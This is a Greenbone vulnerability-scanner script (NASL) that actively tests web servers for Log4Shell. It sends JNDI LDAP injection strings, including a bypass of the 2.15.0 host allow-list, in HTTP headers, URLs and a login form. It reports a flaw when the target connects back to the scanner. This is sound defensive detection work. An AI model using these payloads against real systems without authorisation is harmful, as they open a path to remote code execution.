Apache Log4j 2.0.x Multiple Vulnerabilities (HTTP Web Root, Log4Shell) - Active Check

# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.117823");
  script_version("2026-04-17T15:51:27+0000");
  script_cve_id("CVE-2021-44228", "CVE-2021-45046");
  script_tag(name:"last_modification", value:"2026-04-17 15:51:27 +0000 (Fri, 17 Apr 2026)");
  script_tag(name:"creation_date", value:"2021-12-11 18:31:55 +0000 (Sat, 11 Dec 2021)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-12-14 01:15:00 +0000 (Tue, 14 Dec 2021)");
  script_name("Apache Log4j 2.0.x Multiple Vulnerabilities (HTTP Web Root, Log4Shell) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://logging.apache.org/log4j/2.x/security.html");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3198");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3201");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/607");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/608");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-7rjr-3q55-vv33");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/10/1");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/14/4");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day/");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/");
  script_xref(name:"URL", value:"https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html");
  script_xref(name:"URL", value:"https://github.com/YfryTchsGD/Log4jAttackSurface");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html");
  script_xref(name:"URL", value:"https://github.com/tangxiaofeng7/apache-log4j-poc");
  script_xref(name:"URL", value:"https://github.com/0x0021h/apache-log4j-rce");
  script_xref(name:"URL", value:"https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  script_tag(name:"summary", value:"Apache Log4j is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends various crafted HTTP requests to the web root of the
  remote web server and checks if the target is connecting back to the scanner host.

  Note: For a successful detection of this flaw the target host needs to be able to reach the
  scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
  of 10000-32000).");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - CVE-2021-44228: Apache Log4j2 JNDI features used in configuration, log messages, and parameters
  do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who
  can control log messages or log message parameters can execute arbitrary code loaded from LDAP
  servers when message lookup substitution is enabled. This vulnerability is dubbed 'Log4Shell'.

  - CVE-2021-45046: Denial of Service (DoS) and a possible remote code execution (RCE) in certain
  non-default configurations.");

  script_tag(name:"affected", value:"Apache Log4j versions 2.0.x.");

  script_tag(name:"solution", value:"Update Apache Log4j to version 2.12.2, 2.16.0 or later.

  If Apache Log4j is embedded into a specific product please contact the vendor of the product for
  additional info on the availability of updates.");

  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");

  # nb: Currently we have 3 injection points * 6 payloads plus 1 injection point * 2 payloads with a
  # sum of 20 requests. Each request has a timeout of 5 seconds (defined in the send_capture()
  # call) means we have a maximum of 100 seconds total run time at max. When having multiple HTTP
  # ports exposed (> 3) we might reach the default timeout of 320 seconds so a timeout a little bit
  # higher was chosen here.
  script_timeout(600);

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_header_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

ownip = this_host();
targetip = get_host_ip();

# nb: No need to run against a GOS / GSM as we know that the system isn't using Java / Log4j at all
# and thus waste scanning time on self scans.
if( executed_on_gos() ) {
  if( ownip == targetip || islocalhost() ) {
    exit( 99 ); # EXIT_NOTVULN
  }
}

port = http_get_port( default:80 );

ownhostname = this_host_name();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );

injection_points = make_list(
  # Various generic headers
  "Headers",
  # See note on this below
  "Docker-PoC",
  # For injection via a URL, this is done separately and without any additional headers.
  "URL-plain",
  "URL-param"
);

# nb: Used outside of the foreach loops because we don't want to create the very same list multiple
# times.
#
# Notes on a few of the returned headers and the affected systems:
# Cookie: Seen on a specific Apache OFBiz Cookie
# X-Forwarded-For: Seen on VMware vCenter on a specific endpoint
# If-Modified-Since: Seen on Apache Struts 2 for specific static content
# Accept-Language: Seen on VMWare Horizon Server /portal/info.jsp
# X-Api-Version: Seen on a vulnerable PoC docker container
#
# nb: User-Agent, Accept-Language and Accept headers needs to be handled separately so these are excluded.
exclude_hdr_list = make_list( "User-Agent", "Accept-Language", "Accept" );

header_list = http_hdr_get_common_list( exclude_hdr_list:exclude_hdr_list );

foreach injection_point( injection_points ) {

  # nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
  # by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
  # have false positives due to race conditions (target is sending back a response to a request of
  # another VT for which the scanner had chosen the same source port).
  # We're also using it in the foreach loop here for being able to report which of our request
  # (based on the random port) has triggered a response.
  rnd_port = rand_int_range( min:10000, max:32000 );
  filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
  # nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
  filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );

  # The vulnerable https://github.com/kozmer/log4j-shell-poc image to e.g. help people to verify the
  # correct / working setup or similar.
  if( injection_point == "Docker-PoC" ) {
    # nb: Just the basic requests required for this docker image
    payloads = make_list(
      # Original PoC for CVE-2021-44228
      "${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
      "${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}"
    );
  } else {
    payloads = make_list(
      # Original PoC for CVE-2021-44228
      "${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
      "${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}",
      # Bypass of the "allowedLdapHost" mitigation in Log4j 2.15.0:
      # https://twitter.com/marcioalm/status/1471740771581652995
      # Some reports on the net says that a valid hostname needs to be given after "#" but we check
      # the IP as well just to be sure...
      "${jndi:ldap://127.0.0.1#" + ownip + ":" + rnd_port + "/a}",
      "${jndi:ldap://127.0.0.1#" + ownhostname + ":" + rnd_port + "/a}",
      # Also try with the localhost variant just to be sure...
      "${jndi:ldap://localhost#" + ownip + ":" + rnd_port + "/a}",
      "${jndi:ldap://localhost#" + ownhostname + ":" + rnd_port + "/a}"
    );
  }

  foreach payload( payloads ) {

    if( injection_point == "Headers" ) {

      method = "GET";
      url = "/";

      headers_with_payload = http_hdr_add_value( value:payload, header_list:header_list );

      # For the Authorization header we're passing a valid "Basic" string before our payload
      headers_with_payload["Authorization"] = "Basic " + payload;

      # nb: User-Agent and Accept headers needs to be handled separately because both have an own
      # parameter in http_get_req().
      req = http_get_req( port:port, url:url, user_agent:payload, accept_header:payload, add_headers:headers_with_payload );

      # nb: http_get_req() is already adding the "Accept-Language" header by default so we're just
      # overwriting it here after crafting the initial request.
      req = ereg_replace( string:req, pattern:'(Accept-Language:[^\r\n]+\r\n)', replace:'Accept-Language: ' + payload + '\r\n' );
    }

    else if( injection_point == "Docker-PoC" ) {

      method = "POST";
      url = "/login";
      data = "uname=" + payload;
      add_header = make_array( "Content-Type", "application/x-www-form-urlencoded" );

      req = http_post_put_req( port:port, url:url, data:data, add_headers:add_header );
    }

    # nb: When using a modificated URL we don't want to add additional headers (at least for now).
    else {

      method = "GET";

      if( injection_point == "URL-plain" )
        url = "/" + payload;
      else if( injection_point == "URL-param" )
        url = "/?param=" + payload;
      # nb: Normally shouldn't happen, just added as a last fallback.
      else
        url = "/";

      req = http_get_req( port:port, url:url );
    }

    # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
    # hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
    # ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would share
    # the same socket causing race conditions and similar.
    if( ! soc = open_sock_tcp( port ) )
      continue;

    res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:filter );
    close( soc );

    if( ! res )
      continue;

    # nb: See note above on the reason for this check. This is just another fallback if something is
    # going wrong in the send_capture() call above.
    flags = get_tcp_element( tcp:res, element:"th_flags" );
    if( flags & TH_SYN ) {

      info["HTTP Method"] = method;
      info["Affected URL"] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

      if( injection_point == "Headers" ) {

        foreach _hdr( keys( headers_with_payload ) )
          info['HTTP "' + _hdr + '" header'] = headers_with_payload[_hdr];

        # nb: Handled separately for the reason given in a comment above.
        foreach _hdr( exclude_hdr_list )
          info['HTTP "' + _hdr + '" header'] = payload;
      }

      else if( injection_point == "Docker-PoC" ) {

        info['HTTP "POST" body'] = data;
        info['HTTP "Content-Type" header'] = add_header["Content-Type"];
      }

      # nb: We need to call the correct get_ip_*element() function below depending on the IP version
      # of the received IP packet.
      ip_vers_hex = hexstr( res[0] );
      if( ip_vers_hex[0] == 4 ) {
        src_ip = get_ip_element( ip:res, element:"ip_src" );
        dst_ip = get_ip_element( ip:res, element:"ip_dst" );
      } else if( ip_vers_hex[0] == 6 ) {
        src_ip = get_ipv6_element( ipv6:res, element:"ip6_src" );
        dst_ip = get_ipv6_element( ipv6:res, element:"ip6_dst" );
      }

      if( ! src_ip )
        src_ip = "N/A";

      if( ! dst_ip )
        dst_ip = "N/A";

      report  = 'By doing a HTTP request with the following data (excerpt):\n\n';
      report += text_format_table( array:info ) + '\n\n';
      report += 'it was possible to trigger the vulnerability and make the remote host send a request back to the scanner host (Details on the received packet follows).\n\n';
      report += "Destination IP:   " + dst_ip + ' (receiving IP on scanner host side)\n';
      report += "Destination port: " + rnd_port + '/tcp (receiving port on scanner host side)\n';
      report += "Originating IP:   " + src_ip + " (originating IP from target host side)";
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );